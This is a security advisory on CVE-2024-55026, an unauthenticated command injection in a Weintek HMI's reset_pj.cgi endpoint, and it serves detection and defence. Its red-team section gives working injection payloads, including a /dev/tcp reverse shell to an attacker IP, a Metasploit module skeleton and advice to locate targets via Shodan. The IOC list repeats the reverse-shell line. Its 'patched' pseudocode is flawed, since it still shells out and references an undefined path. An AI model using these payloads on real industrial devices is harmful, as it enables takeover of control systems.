CVE-2024-55026

Executive Summary

CVE-2024-55026 is a critical command injection vulnerability in the Weintek cMT-3072XH2 HMI (Human-Machine Interface) device running easyweb v2.1.53 and OS v20231011. The flaw resides in the reset_pj.cgi endpoint, which fails to sanitize user-supplied input from a crafted GET request. An unauthenticated attacker can exploit this to execute arbitrary operating system commands on the device, potentially leading to full compromise of the HMI and the industrial control system it manages.

This vulnerability is particularly dangerous because it requires no authentication, has a low attack complexity, and can be triggered remotely over the network. The vendor has not released a patch, leaving all affected devices exposed. Given the critical role of HMIs in industrial environments, exploitation could result in production downtime, data theft, or physical damage.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded HMI device. However, the supply chain risk is significant: if an attacker compromises the HMI, they can pivot to other devices on the OT network, potentially affecting the entire industrial control system.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full system access allows reading all data.
• Integrity (I): High (H) – Full system access allows modifying all data.
• Availability (A): High (H) – Full system access allows denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitation, no authentication, and full system compromise makes this a top-priority vulnerability for any organization using the affected device.

Deep Dive & Mechanics

The reset_pj.cgi endpoint is designed to reset project files on the HMI. The vulnerability arises because the CGI script passes user-supplied parameters directly to a system shell command without proper sanitization or escaping. For example, a parameter like file=test might be used in a command like rm /path/to/projects/test. An attacker can inject command separators (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: The CGI script uses a function like system() or exec() with string concatenation, rather than using safe APIs or parameterized commands.

Attack Vector: An unauthenticated attacker sends a crafted GET request to the device's web interface, targeting the reset_pj.cgi endpoint. The request includes malicious payloads in the query string.

Impact: Successful exploitation grants the attacker a shell on the device with the privileges of the web server (typically root or a high-privilege user). This allows:

• Exfiltration of sensitive data (e.g., project files, credentials).
• Installation of malware or backdoors.
• Disruption of HMI operations.
• Lateral movement to other OT devices.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (pseudocode)
char cmd[256];
snprintf(cmd, sizeof(cmd), "rm /projects/%s", get_param("file"));
system(cmd);

A patched version would use input validation and safe execution:

// Patched code (pseudocode)
char *file = get_param("file");
if (!is_valid_filename(file)) {
    return_error("Invalid filename");
    return;
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "rm /projects/%s", sanitize_filename(file));
system(cmd);

Or better, avoid shell execution entirely:

// More secure patched code (pseudocode)
char *file = get_param("file");
if (!is_valid_filename(file)) {
    return_error("Invalid filename");
    return;
}
unlink(file_path); // Use system call directly

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Weintek cMT-3072XH2 device with easyweb v2.1.53 and OS v20231011.
2. Connect the device to an isolated network.
3. Ensure the web interface is accessible (default: http://<device-ip>).

Exploitation Steps:

1. Identify the target device using Shodan or network scanning.
2. Send a crafted GET request to the reset_pj.cgi endpoint with a command injection payload.

Example Payload:

curl -v "http://<target-ip>/reset_pj.cgi?file=test;id"

If successful, the response will include the output of the id command.

Advanced Payload (Reverse Shell):

curl -v "http://<target-ip>/reset_pj.cgi?file=test;bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"

Metasploit Module (if available):

# Example Metasploit module structure
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Weintek cMT-3072XH2 reset_pj.cgi Command Injection',
      'Description' => 'Exploits a command injection in reset_pj.cgi',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2024-55026']],
      'DisclosureDate' => '2024-12-01',
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'uri' => '/reset_pj.cgi',
      'method' => 'GET',
      'vars_get' => { 'file' => "test;#{payload.encoded}" }
    })
  end
end

Blue Team

Detection Steps:

1. Monitor web server logs for unusual GET requests to /reset_pj.cgi containing shell metacharacters (;, |, &, $, `).
2. Deploy network intrusion detection rules (see Suricata rule below).
3. Implement endpoint detection and response (EDR) on the HMI if possible.

Hunting Queries:

• Search for HTTP requests with reset_pj.cgi in the URI and suspicious parameters.
• Look for outbound connections from the HMI to unknown IPs on unusual ports (e.g., 4444).

Mitigation Steps:

• If patching is not possible, restrict network access to the HMI web interface using firewall rules.
• Place the HMI behind a VPN or jump host.
• Disable the reset_pj.cgi endpoint if not needed (e.g., by removing the CGI script).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /reset_pj.cgi with parameters containing shell metacharacters.
• Outbound connections from the HMI to attacker-controlled IPs on ports like 4444, 8080, or 1337.

File IOCs:

• Unexpected files in /tmp or /var/tmp on the HMI.
• Modified or new CGI scripts in the web root.

Process IOCs:

• Unusual processes spawned by the web server (e.g., bash, nc, python).

Example IOC List:

iocs:
  - type: "network"
    value: "GET /reset_pj.cgi?file=test;id"
    description: "Command injection attempt"
  - type: "network"
    value: "GET /reset_pj.cgi?file=test;bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"
    description: "Reverse shell attempt"
  - type: "file"
    value: "/tmp/exploit.sh"
    description: "Potential malicious script"
  - type: "process"
    value: "bash"
    description: "Unexpected shell process"

Detection Engineering

YARA Rule

rule CVE_2024_55026_Weintek_Command_Injection {
    meta:
        description = "Detects command injection attempts against Weintek cMT-3072XH2 reset_pj.cgi"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "CVE-2024-55026"
    strings:
        $s1 = "reset_pj.cgi" ascii wide nocase
        $s2 = "file=" ascii wide nocase
        $s3 = ";" ascii wide
        $s4 = "|" ascii wide
        $s5 = "&" ascii wide
        $s6 = "$" ascii wide
        $s7 = "`" ascii wide
    condition:
        $s1 and $s2 and any of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: Weintek cMT-3072XH2 reset_pj.cgi Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting reset_pj.cgi with command injection payloads
author: Valters IT
date: 2024-12-01
references:
    - CVE-2024-55026
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "reset_pj.cgi"
        cs-uri-query|contains: "file="
        cs-uri-query|contains:
            - ";"
            - "|"
            - "&"
            - "$"
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in filenames (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55026 Weintek cMT-3072XH2 reset_pj.cgi Command Injection"; flow:to_server; content:"GET"; http_method; content:"/reset_pj.cgi"; http_uri; content:"file="; http_uri; pcre:"/(;|\||&|\$|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place the HMI on a separate VLAN with strict firewall rules.
2. Disable the web interface: If not required, disable the web server on the HMI.
3. Monitor for exploitation: Deploy the detection rules above.

Long-term Actions:

1. Contact the vendor: Pressure Weintek to release a patch.
2. Upgrade firmware: If a patched version becomes available, apply it immediately.
3. Implement network segmentation: Use a DMZ or jump host for HMI access.
4. Enable logging: Ensure all web requests to the HMI are logged and monitored.

Workaround:

• If the reset_pj.cgi endpoint is not needed, remove or rename the CGI script on the device (requires shell access).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert